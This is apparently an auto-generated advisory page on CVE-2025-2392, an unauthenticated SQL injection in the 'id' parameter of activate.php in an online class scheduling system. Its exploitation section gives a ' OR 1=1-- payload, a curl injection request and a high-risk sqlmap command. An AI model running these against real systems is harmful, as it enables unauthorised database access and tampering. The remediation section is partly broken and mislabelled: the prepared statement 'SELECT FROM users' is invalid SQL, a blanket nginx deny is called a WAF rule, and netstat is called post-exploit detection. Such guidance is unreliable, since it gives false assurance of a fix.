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How CVE-2025-2392 Works
The vulnerability exists in `/pages/activate.php` due to improper sanitization of the `id` parameter, allowing attackers to inject malicious SQL queries. When a crafted HTTP request is sent, the backend database executes unintended commands, potentially leading to unauthorized data access, modification, or deletion. The flaw stems from dynamic SQL construction without prepared statements or input validation. Remote exploitation is possible, requiring no authentication, making it critical.
DailyCVE Form
Platform: Online Class Scheduling System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/28/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploitation
1. Craft malicious payload:
' OR 1=1--
2. Exploit via curl:
curl "http://target/pages/activate.php?id=1'%20OR%201=1--"
3. Automated testing with sqlmap:
sqlmap -u "http://target/pages/activate.php?id=1" --risk=3 --level=5
Protection
1. Input validation:
if (!is_numeric($_GET['id'])) { die("Invalid input"); }
2. Use prepared statements:
$stmt = $conn->prepare("SELECT FROM users WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
3. WAF rules:
location ~ /pages/activate.php {
deny all;
}
4. Patch verification:
grep -r "mysql_query" /var/www/html
Analytics
- Attack surface: Remote, low complexity
- Impact: Data breach, system compromise
- Mitigation urgency: Immediate
Log Analysis
cat /var/log/apache2/access.log | grep "activate.php?id="
Backup Recovery
mysqldump -u root -p database_name > backup.sql
Post-Exploit Detection
netstat -tulnp | grep mysql
Patch Rollback
git checkout -- /pages/activate.php
End of Report.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
